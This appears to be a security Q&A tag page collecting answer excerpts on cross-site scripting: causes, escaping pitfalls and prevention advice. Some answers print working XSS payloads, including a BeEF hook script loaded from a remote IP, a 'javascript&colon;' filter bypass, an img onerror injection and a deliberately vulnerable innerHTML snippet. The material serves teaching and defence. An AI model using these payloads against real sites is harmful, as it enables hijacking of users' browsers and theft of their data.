Tag Info

Hot answers tagged

14

In a cross-site scripting attack, the malicious script is run on the client, but the actual flaw is in the application. That doesn't necessarily mean that it is a strictly server-side vulnerability, in that the flaw could be in the application's JavaScript, but generally, it is indeed in server-side code, and always in code that is delivered by the server. ...


12

If there is no external interface to the lookup table, then you probably don't need to scrub the data coming out of those tables for security reasons. But it might be easier to always scrub data you are presenting rather than adding exceptions. Also, if the data in the lookup tables is safe for HTML output, what happens when you switch to CSV output? Is it ...


5

It manifests itself on the client side, but that is because it is allowed to do so by the web application. The application doesn't validate the code that it sends back to the browser. And thats why it is a server side vulnerability. Think about it this way. What would you do to fix the issue of XSS? Fix the server side code or fix the browser?


4

Regarding why it has cross-site in the name, Jeremiah Grossman has a good article on that. Snipit below: What was soon discovered was that a malicious website could load another website into an adjacent frame or window, then use JavaScript to read into it. One website could cross a boundry and script into another page. Pull data from forms, ...


4

It depends on where within the HTML document the data is printed as there are different contexts within different rules. Replacing a literal < by &lt; is only viable when < is a special character, which would change the current parsing state. There is a quick overview of prevention rules in OWASP’s XSS (Cross Site Scripting) Prevention Cheat ...


3

This is very bad practice. You are keeping a blacklist. But recommended way is keeping a whitelist which give only allowed chars after a filter. Answer to your question is, < can be hex encoded and write in other encoded schemes. So Simply replacing < with &lt; would not be adequate.


3

Depends on a lot of factors. If the malicious input (all user's input is malicious by default) is echoed just to your HTML body and your server sends the headers "Content-Type: text/html; charset=utf-8" and "X-Content-Type-Options: nosniff", the answer is yes, this method is secure enough. When I say HTML body, I am supposing you are echoing the input to ...


2

This question invites subjective answers, but I would say that the payload: <script src=http://1.1.1.1:3000/hook.js></script> In conjunction with the BeEF exploit framework would be close to the most damage you could do because it provides a way to launch a number of other attacks. Obviously you would replace the IP address I provided with ...


2

Cross-site Scripting (XSS) attacks can generally be categorized as one of: Stored XSS Attacks Reflected XSS Attacks DOM Based XSS Attacks The attack itself is taking place on the client. All three attack types could fully manifest themselves in the browser itself in the case of a single page or offline application. However, if the data is stored on the ...


1

I'm generally a fan of not re inventing the wheel because people way smarter than us already did. I did a quick search for you and found the current library you can use: https://code.google.com/p/php-antixss/ Re: your code, it looks a little too simple to prevent fully. I would use a standardized solution that is used by others and continuously contributed ...


1

No, it is not. Try insert javascript&colon;alert(9) as the URL. Better solution: <?php if(strpos($site, "http://")===0){ $possible_xss = false; } else if(strpos($site, "https://")===0){ $possible_xss = false; } else if(strpos($site, "ftp://")===0){ $possible_xss = false; } else if(strpos($site, "ftps://")===0){ $possible_xss = ...


1

Updated browsers will encode the referrer URL. So your examples will not work to trigger XSS nowadays. Try this: <div id="cat"></div> <script> document.getElementById("cat").innerHTML = decodeURIComponent(document.referrer); </script> JSFIDDLE: http://jsfiddle.net/y4afy8h9/1/?<img%20src=x%20onerror=alert(9)>?


1

Where are you parsing out the <? If it is on the client, then you have have only maybe stopped a ten year old hacker (but not this ten year old hacker). However, if you are parsing out the executable code server-side, then yes, you've effectively stopped this particular form of injection -although there are more complete and secure ways of doing this. ...


1

An easy exploit is simply: <script>alert("Hacked!");</script> Similar alert boxes are often used as a demonstration of an XSS exploit because they are so easy to see and understand.


1

The answer depends on what's in that table column and how it is intended to be used. In most cases escaping the data before inserting it into html is the right thing to do. There might be situations where the purpose of a table is to store fragments of html which an administrator can update in order to display certain data on the site. Usually this would be ...


1

It all depends on the code for image.asp. If it really works as intended there's not too much to worry. But perhaps it is possible to inject shell commands, trick it into reading local files… Another funny question would be: what happens for http://www.example.com/image.asp?file=http://url-shorter/page if http://url-shorter/page itself redirects to ...


1

I think your example describes exactly why it isn't that simple. There are many forms of XSS, and quite a few of them don't rely on attackers injecting entire tags at all. What Rook was getting at in his comment is that you should generally rely on a good existing XSS filter to deal with the threat rather than trying to piece one together your own, as ...


1

A file inclusion vulnerability requires user supplied values being used to dynamically reference an external script file that is then included and evaluated in the current execution runtime. However, due to your description of the script’s language and behavior, I doubt that it actually includes and evaluates the given file but rather simply reads the file ...


1

It's hard to say without seeing the code from image.asp or being able to play with the page itself. If you can't post the code here, you can always do a very basic test on your own by providing the URL of a simple javascript file that contains an alert as the image parameter. Again - this is a very basic test. For a more comprehensive test, try doing some ...



Only top voted, non community-wiki answers of a minimum length are eligible